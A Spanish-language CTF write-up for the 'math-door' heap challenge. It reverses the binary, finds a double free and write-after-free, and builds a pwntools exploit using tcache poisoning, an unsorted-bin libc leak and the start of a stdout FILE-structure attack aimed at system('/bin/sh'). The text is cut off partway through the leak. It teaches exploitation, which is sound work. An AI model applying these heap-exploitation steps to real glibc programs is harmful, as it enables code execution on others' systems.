Math Door
20 minutos de lectura
Se nos proporciona un binario de 64 bits llamado math-door
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
Configuración del entorno
También se nos proporciona la librería y el cargador de Glibc remotos:
$ ./ld.so ./libc.so.6
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 9.4.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
$ ldd math-door
linux-vdso.so.1 (0x00007ffed83e6000)
libc.so.6 => ./libc.so.6 (0x00007f39ce44c000)
ld.so => /lib64/ld-linux-x86-64.so.2 (0x00007f39ce647000)
El binario ya está preparado para usar la librería y el cargador remotos, por lo que no queda nada más por hacer.
Ingeniería inversa
Podemos usar Ghidra para analizar el binario y mirar el código descompilado en C:
void main() {
int option;
setup();
puts(
"You are facing the mathy door!\nThe door is blocked by a mysterious riddle that hasn\'t been solved since the ancient times...\nIt\'s said that it\'s beyond human comprehension. That only alien beings can understand such advanced concepts.\nCan you math your way through?"
);
do {
while (true) {
while (true) {
puts("1. Create \n2. Delete \n3. Add value \nAction: ");
option = read_int();
if (option != 3) break;
math();
}
if (option < 4) break;
LAB_00101605:
puts("Invalid action!");
}
if (option == 1) {
create();
} else {
if (option != 2) goto LAB_00101605;
delete();
}
} while (true);
}
Básicamente, tenemos tres opciones. Parece un reto de explotación del heap.
Función de asignación
Esta es create
:
void create() {
void *p_chunk;
uint c;
c = counter;
if ((int) counter < 65) {
p_chunk = malloc(0x18);
*(void **) (chunks + (long) (int) c * 8) = p_chunk;
printf("Hieroglyph created with index %i.\n", (ulong) counter);
counter = counter + 1;
} else {
puts("Max amount of hieroglyphs reached.");
}
}
Esta nos permite crear un chunk con el tamaño 0x21
(hard-coded). El contador aumenta, por lo que solo podemos tener hasta 65 chunks. No podemos ingresar más información aquí.
Función de liberación
Esta es delete
:
void delete() {
uint index;
puts("Hieroglyph index:");
index = read_int();
if (index < counter) {
free(*(void **) (chunks + (ulong) index * 8));
} else {
puts("That hieroglyph doens\'t exist.");
}
}
En esta función podemos llamar a free
en cualquier índice, sin importar si ya está liberado. Entonces, aquí podemos lograr una vulnerabilidad de double free, lo que podría ser útil más adelante. Obsérvese también que la variable counter
no disminuye.
Función de edición
Finalmente, tenemos math
:
void math() {
uint index;
long in_FS_OFFSET;
long x;
long y;
long z;
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
x = 0;
y = 0;
z = 0;
puts("Hieroglyph index:");
index = read_int();
if (counter < index) {
puts("That hieroglyph doens\'t exist.");
} else {
puts("Value to add to hieroglyph:");
read(0, &x, 0x18);
**(long **) (chunks + (ulong) index * 8) = x + **(long **) (chunks + (ulong) index * 8);
*(long *) (*(long *) (chunks + (ulong) index * 8) + 8) = y + *(long *) (*(long *) (chunks + (ulong) index * 8) + 8);
*(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10) = z + *(long *) (*(long *) (chunks + (ulong) index * 8) + 0x10);
}
if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
Aquí tenemos la oportunidad de agregar tres números de 8 bytes a los números que se encuentran actualmente en el área de datos del chunk seleccionado. Podemos usar GDB para confirmar que esto es cierto:
$ gdb -q math-door
Reading symbols from math-door...
(No debugging symbols found in math-door)
pwndbg> run
Starting program: /tmp/math-door
You are facing the mathy door!
The door is blocked by a mysterious riddle that hasn't been solved since the ancient times...
It's said that it's beyond human comprehension. That only alien beings can understand such advanced concepts.
Can you math your way through?
1. Create
2. Delete
3. Add value
Action:
1
Hieroglyph created with index 0.
1. Create
2. Delete
3. Add value
Action:
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> vis_heap_chunks
0x55555555b000 0x0000000000000000 0x0000000000000291 ................
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
0x55555555b040 0x0000000000000000 0x0000000000000000 ................
0x55555555b050 0x0000000000000000 0x0000000000000000 ................
0x55555555b060 0x0000000000000000 0x0000000000000000 ................
0x55555555b070 0x0000000000000000 0x0000000000000000 ................
0x55555555b080 0x0000000000000000 0x0000000000000000 ................
0x55555555b090 0x0000000000000000 0x0000000000000000 ................
0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b100 0x0000000000000000 0x0000000000000000 ................
0x55555555b110 0x0000000000000000 0x0000000000000000 ................
0x55555555b120 0x0000000000000000 0x0000000000000000 ................
0x55555555b130 0x0000000000000000 0x0000000000000000 ................
0x55555555b140 0x0000000000000000 0x0000000000000000 ................
0x55555555b150 0x0000000000000000 0x0000000000000000 ................
0x55555555b160 0x0000000000000000 0x0000000000000000 ................
0x55555555b170 0x0000000000000000 0x0000000000000000 ................
0x55555555b180 0x0000000000000000 0x0000000000000000 ................
0x55555555b190 0x0000000000000000 0x0000000000000000 ................
0x55555555b1a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b200 0x0000000000000000 0x0000000000000000 ................
0x55555555b210 0x0000000000000000 0x0000000000000000 ................
0x55555555b220 0x0000000000000000 0x0000000000000000 ................
0x55555555b230 0x0000000000000000 0x0000000000000000 ................
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000000 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x0000000000000000 0x0000000000000000 ................
0x55555555b280 0x0000000000000000 0x0000000000000000 ................
0x55555555b290 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b2a0 0x000000000a353532 0x0000000000000000 255.............
0x55555555b2b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
Nótese que 0x0a353532
es "255\n"
en formato little-endian como número hexadecimal. Si agregamos los mismos datos, el chunk almacenará el resultado de la suma:
pwndbg> continue
Continuing.
3
Hieroglyph index:
0
Value to add to hieroglyph:
255
1. Create
2. Delete
3. Add value
Action:
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee2fd2 in __GI___libc_read (fd=0, buf=0x7fffffffe700, nbytes=31) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
0x55555555b000 0x0000000000000000 0x0000000000000291 ................
0x55555555b010 0x0000000000000000 0x0000000000000000 ................
0x55555555b020 0x0000000000000000 0x0000000000000000 ................
0x55555555b030 0x0000000000000000 0x0000000000000000 ................
0x55555555b040 0x0000000000000000 0x0000000000000000 ................
0x55555555b050 0x0000000000000000 0x0000000000000000 ................
0x55555555b060 0x0000000000000000 0x0000000000000000 ................
0x55555555b070 0x0000000000000000 0x0000000000000000 ................
0x55555555b080 0x0000000000000000 0x0000000000000000 ................
0x55555555b090 0x0000000000000000 0x0000000000000000 ................
0x55555555b0a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b0f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b100 0x0000000000000000 0x0000000000000000 ................
0x55555555b110 0x0000000000000000 0x0000000000000000 ................
0x55555555b120 0x0000000000000000 0x0000000000000000 ................
0x55555555b130 0x0000000000000000 0x0000000000000000 ................
0x55555555b140 0x0000000000000000 0x0000000000000000 ................
0x55555555b150 0x0000000000000000 0x0000000000000000 ................
0x55555555b160 0x0000000000000000 0x0000000000000000 ................
0x55555555b170 0x0000000000000000 0x0000000000000000 ................
0x55555555b180 0x0000000000000000 0x0000000000000000 ................
0x55555555b190 0x0000000000000000 0x0000000000000000 ................
0x55555555b1a0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1b0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1c0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1d0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1e0 0x0000000000000000 0x0000000000000000 ................
0x55555555b1f0 0x0000000000000000 0x0000000000000000 ................
0x55555555b200 0x0000000000000000 0x0000000000000000 ................
0x55555555b210 0x0000000000000000 0x0000000000000000 ................
0x55555555b220 0x0000000000000000 0x0000000000000000 ................
0x55555555b230 0x0000000000000000 0x0000000000000000 ................
0x55555555b240 0x0000000000000000 0x0000000000000000 ................
0x55555555b250 0x0000000000000000 0x0000000000000000 ................
0x55555555b260 0x0000000000000000 0x0000000000000000 ................
0x55555555b270 0x0000000000000000 0x0000000000000000 ................
0x55555555b280 0x0000000000000000 0x0000000000000000 ................
0x55555555b290 0x0000000000000000 0x0000000000000021 ........!.......
0x55555555b2a0 0x00000000146a6a64 0x0000000000000000 djj.............
0x55555555b2b0 0x0000000000000000 0x0000000000020d51 ........Q....... <-- Top chunk
pwndbg> p/x 0x0a353532 + 0x0a353532
$1 = 0x146a6a64
No hay más funciones útiles en el binario…
Estrategia de explotación
El principal problema con este programa es que no hay formas simples de filtrar direcciones de memoria. Además, el programa solo nos permite asignar chunks de tamaño 0x21
.
Las únicas primitivas que tenemos son:
- Double free potencial en
delete
- Write After Free en
math
Estamos usando Glibc 2.31 con Tcache. Por lo tanto, una buena opción es usar Tcache poisoning para lograr una primitiva de escritura arbitraria. Para que este ataque funcione, necesitamos liberar un chunk, modificar el puntero fd
a la ubicación de destino y asignar chunks hasta que tengamos uno en la dirección de destino.
En retos de heap, es muy común usar un chunk del Unsorted Bin para filtrar una dirección de Glibc (de hecho, un offset de main_arena
). Esta vez, solo podemos asignar chunks con tamaño 0x21
. Sin embargo, podemos usar Tcache poisoning para modificar el tamaño de un chunk y luego liberarlo, de modo que el asignador de memoria piense que su tamaño es muy grande y no se ajuste a ninguna free-list del Tcache.
Recordemos que el programa permite agregar números a los que están en un cierto chunk. Por lo tanto, utilizaremos esta dirección de Glibc para señalar otras direcciones dentro de Glibc usando offsets.
Posiblemente haya una manera de explotar el binario usando solo offsets, pero no la encontré. Mi exploit necesitaba conocer una dirección Glibc para encontrar la dirección base y hacer que __free_hook
apunte a system
para ejecutar system("/bin/sh")
como paso final. Para filtrar las direcciones de memoria dentro de Glibc, tuve que jugar con la estructura FILE
de stdout
(_IO_2_1_stdout_
). Esta técnica se conoce como ataque de estructura FILE
, más información en estos enlaces:
Desarrollo del exploit
En primer lugar, usaré estas funciones auxiliares:
def create(p):
p.sendlineafter(b'Action: \n', b'1')
def delete(p, index: int):
p.sendlineafter(b'Action: \n', b'2')
p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())
def add_value(p, index: int, x: int, y: int, z: int):
value = p64(x) + p64(y) + p64(z)
p.sendlineafter(b'Action: \n', b'3')
p.sendlineafter(b'Hieroglyph index:\n', str(index).encode())
p.sendafter(b'Value to add to hieroglyph:\n', value)
Ahora, empezamos por crear algunos chunks y liberarlos para ver cómo podemos usar Tcache poisoning para crear un chunk falso:
def main():
p = get_process()
gdb.attach(p, 'continue')
M = 5
for _ in range(M):
create(p)
for i in range(M):
delete(p, i)
p.interactive()
Echemos un vistazo a GDB:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 323994
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '323994', '-x', '/tmp/pwn5a9d62_q.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
Hieroglyph created with index 4.
1. Create
2. Delete
3. Add value
Action:
$
pwndbg> vis_heap_chunks
0x561a5b60c000 0x0000000000000000 0x0000000000000291 ................
0x561a5b60c010 0x0000000000000005 0x0000000000000000 ................
0x561a5b60c020 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c030 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c040 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c050 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c060 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c070 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c080 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c090 0x0000561a5b60c320 0x0000000000000000 .`[.V..........
0x561a5b60c0a0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0b0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0c0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0d0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0e0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c0f0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c100 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c110 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c120 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c130 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c140 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c150 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c160 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c170 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c180 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c190 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1a0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1b0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1c0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1d0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1e0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c1f0 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c200 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c210 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c220 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c230 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c240 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c250 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c260 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c270 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c280 0x0000000000000000 0x0000000000000000 ................
0x561a5b60c290 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2a0 0x0000000000000000 0x0000561a5b60c010 ..........`[.V.. <-- tcachebins[0x20][4/5]
0x561a5b60c2b0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2c0 0x0000561a5b60c2a0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][3/5]
0x561a5b60c2d0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c2e0 0x0000561a5b60c2c0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][2/5]
0x561a5b60c2f0 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c300 0x0000561a5b60c2e0 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][1/5]
0x561a5b60c310 0x0000000000000000 0x0000000000000021 ........!.......
0x561a5b60c320 0x0000561a5b60c300 0x0000561a5b60c010 ..`[.V....`[.V.. <-- tcachebins[0x20][0/5]
0x561a5b60c330 0x0000000000000000 0x0000000000020cd1 ................ <-- Top chunk
pwndbg> tcachebins
tcachebins
0x20 [ 5]: 0x561a5b60c320 —▸ 0x561a5b60c300 —▸ 0x561a5b60c2e0 —▸ 0x561a5b60c2c0 —▸ 0x561a5b60c2a0 ◂— 0x0
El siguiente chunk que se asignará está en la dirección 0x561a5b60c320
, porque la cabeza del Tcache (dentro de la sección azul grande) apunta allí. Este es un buen valor para controlar porque, si es así, podemos controlar dónde se colocará el próximo chunk asignado (veremos esto más tarde).
El ataque de Tcache poisoning funciona porque si modificamos la dirección en 0x561a5b60c320
(que es 0x561a5b60c300
), la lista enlazada estará corrupta y la cabeza del Tcache apuntará a otra dirección. Es por eso que el Tcache poisoning otorga una primitiva de escritura. Además, el Tcache es una estructura muy explotable porque aplica pocas verificaciones y se pueden saltar fácilmente.
Heap feng shui
Modificaremos el puntero fd
de un chunk para poder modificar el tamaño de otro chunk. Una vez asignado en la posición objetivo, estableceremos el nuevo tamaño en 0x421
de forma que ya no entra en el Tcache. Luego, al liberarlo, el asignador de memoria lo meterá en el Unsorted Bin y pondrá los punteros fd
y bk
en un offset de main_arena
.
Después de un poco de depuración, tenemos este código:
def main():
p = get_process()
gdb.attach(p, 'continue')
M = 38
for _ in range(M):
create(p)
delete(p, 2)
delete(p, 1)
delete(p, 0)
add_value(p, 0, 0x50, 0, 0)
create(p) # M
create(p) # M + 1
add_value(p, 0, 0xffffffffffffffb0, 0, 0)
add_value(p, M + 1, 0, 0x421, 0)
delete(p, 4)
p.interactive()
Obsérvese cómo se deben ingresar los valores negativos usando el complemento a dos. Podemos definir una función simple en Python para calcular estos offsets negativos:
$ python3 -q
>>> def two_c(num: int) -> str:
... return hex(((~abs(num)) + 1) & 0xffffffffffffffff)
...
>>> two_c(-0x50)
'0xffffffffffffffb0'
De todos modos, este es el resultado:
$ python3 solve.py
[*] './math-door'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
[+] Starting local process './math-door': pid 332255
[*] running in new terminal: ['/usr/bin/gdb', '-q', './math-door', '332255', '-x', '/tmp/pwnqcf_s9c0.gdb']
[+] Waiting for debugger: Done
[*] Switching to interactive mode
1. Create
2. Delete
3. Add value
Action:
$
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555f98d22000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x555f98d22290
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222b0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222d0
Size: 0x21
Allocated chunk | PREV_INUSE
Addr: 0x555f98d222f0
Size: 0x21
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x555f98d22310
Size: 0x421
fd: 0x7f24a2f00be0
bk: 0x7f24a2f00be0
Allocated chunk
Addr: 0x555f98d22730
Size: 0x20
Top chunk | PREV_INUSE
Addr: 0x555f98d22750
Size: 0x208b1
pwndbg> bins
tcachebins
0x20 [ 1]: 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x555f98d22310 —▸ 0x7f24a2f00be0 (main_arena+96) ◂— 0x555f98d22310
smallbins
empty
largebins
empty
Muy bien, tenemos una dirección Glibc que podemos usar como referencia para asignar chunks en offsets relativas dentro de Glibc. Pero antes que nada, observemos que el Tcache está corrupto. El asignador de memoria cree que hay un chunk en el Tcache, pero la lista está vacía.
Ahora, el objetivo es controlar completamente el Tcache, por lo que tendremos como objetivo obtener un chunk ubicado en la cabeza de la free-list del Tcache de tamaño 0x21
. Lo hice con estas líneas de código y algo de depuración:
delete(p, 11)
delete(p, 12)
delete(p, 13)
delete(p, 14)
add_value(p, 14, 0xfffffffffffffc50, 0, 0)
create(p) # M + 2
create(p) # M + 3
Ahora, en el índice M + 3
tengo un chunk cerca de la cabeza de la free-list del Tcache. Podemos confirmarlo usando GDB al ejecutar el exploit:
pwndbg> x/64gx &chunks
0x5559ccbf6060 <chunks>: 0x00005559ce00d2a0 0x00005559ce00d2c0
0x5559ccbf6070 <chunks+16>: 0x00005559ce00d2e0 0x00005559ce00d300
0x5559ccbf6080 <chunks+32>: 0x00005559ce00d320 0x00005559ce00d340
0x5559ccbf6090 <chunks+48>: 0x00005559ce00d360 0x00005559ce00d380
0x5559ccbf60a0 <chunks+64>: 0x00005559ce00d3a0 0x00005559ce00d3c0
0x5559ccbf60b0 <chunks+80>: 0x00005559ce00d3e0 0x00005559ce00d400
0x5559ccbf60c0 <chunks+96>: 0x00005559ce00d420 0x00005559ce00d440
0x5559ccbf60d0 <chunks+112>: 0x00005559ce00d460 0x00005559ce00d480
0x5559ccbf60e0 <chunks+128>: 0x00005559ce00d4a0 0x00005559ce00d4c0
0x5559ccbf60f0 <chunks+144>: 0x00005559ce00d4e0 0x00005559ce00d500
0x5559ccbf6100 <chunks+160>: 0x00005559ce00d520 0x00005559ce00d540
0x5559ccbf6110 <chunks+176>: 0x00005559ce00d560 0x00005559ce00d580
0x5559ccbf6120 <chunks+192>: 0x00005559ce00d5a0 0x00005559ce00d5c0
0x5559ccbf6130 <chunks+208>: 0x00005559ce00d5e0 0x00005559ce00d600
0x5559ccbf6140 <chunks+224>: 0x00005559ce00d620 0x00005559ce00d640
0x5559ccbf6150 <chunks+240>: 0x00005559ce00d660 0x00005559ce00d680
0x5559ccbf6160 <chunks+256>: 0x00005559ce00d6a0 0x00005559ce00d6c0
0x5559ccbf6170 <chunks+272>: 0x00005559ce00d6e0 0x00005559ce00d700
0x5559ccbf6180 <chunks+288>: 0x00005559ce00d720 0x00005559ce00d740
0x5559ccbf6190 <chunks+304>: 0x00005559ce00d2a0 0x00005559ce00d310
0x5559ccbf61a0 <chunks+320>: 0x00005559ce00d460 0x00005559ce00d090
0x5559ccbf61b0 <chunks+336>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x5559ccbf61f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x5559ccbf6250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005559ce00d090
0x5559ce00d090: 0x00005559ce00d090 0x0000000000000000
0x5559ce00d0a0: 0x0000000000000000 0x0000000000000000
pwndbg> tcache
{
counts = {3, 0 <repeats 63 times>},
entries = {0x5559ce00d090, 0x0 <repeats 63 times>}
}
pwndbg> tcachebins
tcachebins
0x20 [ 3]: 0x5559ce00d090 ◂— 0x5559ce00d090
Obviamente, en este punto, el asignador del heap está confundido porque la cabeza de la lista señala a sí misma. Pero ahora tenemos control total sobre los próximos chunks asignados.
A continuación, limpié el Tcache y el heap y configuré la cabeza del Tcache en el chunk que contenía punteros de Glibc (también volví a poner el tamaño a 0x21
por si acaso):
add_value(p, M + 1, 0, 0xfffffffffffffc00, 0)
add_value(p, 13, 0xffffffffffffff00, 0, 0)
add_value(p, M + 3, 0x290, 0, 0)
Entonces este es el estado del heap ahora mismo:
pwndbg> x/64gx &chunks
0x5613f4a4a060 <chunks>: 0x00005613f4fc02a0 0x00005613f4fc02c0
0x5613f4a4a070 <chunks+16>: 0x00005613f4fc02e0 0x00005613f4fc0300
0x5613f4a4a080 <chunks+32>: 0x00005613f4fc0320 0x00005613f4fc0340
0x5613f4a4a090 <chunks+48>: 0x00005613f4fc0360 0x00005613f4fc0380
0x5613f4a4a0a0 <chunks+64>: 0x00005613f4fc03a0 0x00005613f4fc03c0
0x5613f4a4a0b0 <chunks+80>: 0x00005613f4fc03e0 0x00005613f4fc0400
0x5613f4a4a0c0 <chunks+96>: 0x00005613f4fc0420 0x00005613f4fc0440
0x5613f4a4a0d0 <chunks+112>: 0x00005613f4fc0460 0x00005613f4fc0480
0x5613f4a4a0e0 <chunks+128>: 0x00005613f4fc04a0 0x00005613f4fc04c0
0x5613f4a4a0f0 <chunks+144>: 0x00005613f4fc04e0 0x00005613f4fc0500
0x5613f4a4a100 <chunks+160>: 0x00005613f4fc0520 0x00005613f4fc0540
0x5613f4a4a110 <chunks+176>: 0x00005613f4fc0560 0x00005613f4fc0580
0x5613f4a4a120 <chunks+192>: 0x00005613f4fc05a0 0x00005613f4fc05c0
0x5613f4a4a130 <chunks+208>: 0x00005613f4fc05e0 0x00005613f4fc0600
0x5613f4a4a140 <chunks+224>: 0x00005613f4fc0620 0x00005613f4fc0640
0x5613f4a4a150 <chunks+240>: 0x00005613f4fc0660 0x00005613f4fc0680
0x5613f4a4a160 <chunks+256>: 0x00005613f4fc06a0 0x00005613f4fc06c0
0x5613f4a4a170 <chunks+272>: 0x00005613f4fc06e0 0x00005613f4fc0700
0x5613f4a4a180 <chunks+288>: 0x00005613f4fc0720 0x00005613f4fc0740
0x5613f4a4a190 <chunks+304>: 0x00005613f4fc02a0 0x00005613f4fc0310
0x5613f4a4a1a0 <chunks+320>: 0x00005613f4fc0460 0x00005613f4fc0090
0x5613f4a4a1b0 <chunks+336>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1c0 <chunks+352>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1d0 <chunks+368>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1e0 <chunks+384>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a1f0 <chunks+400>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a200 <chunks+416>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a210 <chunks+432>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a220 <chunks+448>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a230 <chunks+464>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a240 <chunks+480>: 0x0000000000000000 0x0000000000000000
0x5613f4a4a250 <chunks+496>: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0090
0x5613f4fc0090: 0x00005613f4fc0320 0x0000000000000000
0x5613f4fc00a0: 0x0000000000000000 0x0000000000000000
pwndbg> x/4gx 0x00005613f4fc0320
0x5613f4fc0320: 0x00007f5860e7fbe0 0x00007f5860e7fbe0
0x5613f4fc0330: 0x0000000000000000 0x0000000000000000
pwndbg> tcachebins
tcachebins
0x20 [ 3]: 0x5613f4fc0320 —▸ 0x7f5860e7fbe0 (main_arena+96) —▸ 0x5613f4fc0750 ◂— 0x0
Fugando direcciones de memoria
Una vez que tenemos el control del heap, necesitamos jugar con el stdout
para fugar direcciones de memoria. Después de mucha investigación, prueba y error, descubrí que solo modificando write_ptr
se podía conseguir esto, porque imprimirá algunos valores antes de la estructura.
La estructura stdout
(_IO_2_1_stdout_
) tiene esta pinta:
pwndbg> p/x _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2887,
_IO_read_ptr = 0x7f5860e80723,
_IO_read_end = 0x7f5860e80723,
_IO_read_base = 0x7f5860e80723,
_IO_write_base = 0x7f5860e80723,
_IO_write_ptr = 0x7f5860e80723,
_IO_write_end = 0x7f5860e80723,
_IO_buf_base = 0x7f5860e80723,
_IO_buf_end = 0x7f5860e80724,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f5860e7f980,
_fileno = 0x1,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = {0xa},
_lock = 0x7f5860e817e0,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7f5860e7f880,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0xffffffff,
_unused2 = {0x0 <repeats 20 times>}
},
vtable = 0x7f5860e7c4a0
}
pwndbg> x/28gx &_IO_2_1_stdout_
0x7f5860e806a0 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00007f5860e80723
0x7f5860e806b0 <_IO_2_1_stdout_+16>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806c0 <_IO_2_1_stdout_+32>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806d0 <_IO_2_1_stdout_+48>: 0x00007f5860e80723 0x00007f5860e80723
0x7f5860e806e0 <_IO_2_1_stdout_+64>: 0x00007f5860e80724 0x0000000000000000
0x7f5860e806f0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7f5860e80700 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007f5860e7f980
0x7f5860e80710 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7f5860e80720 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007f5860e817e0
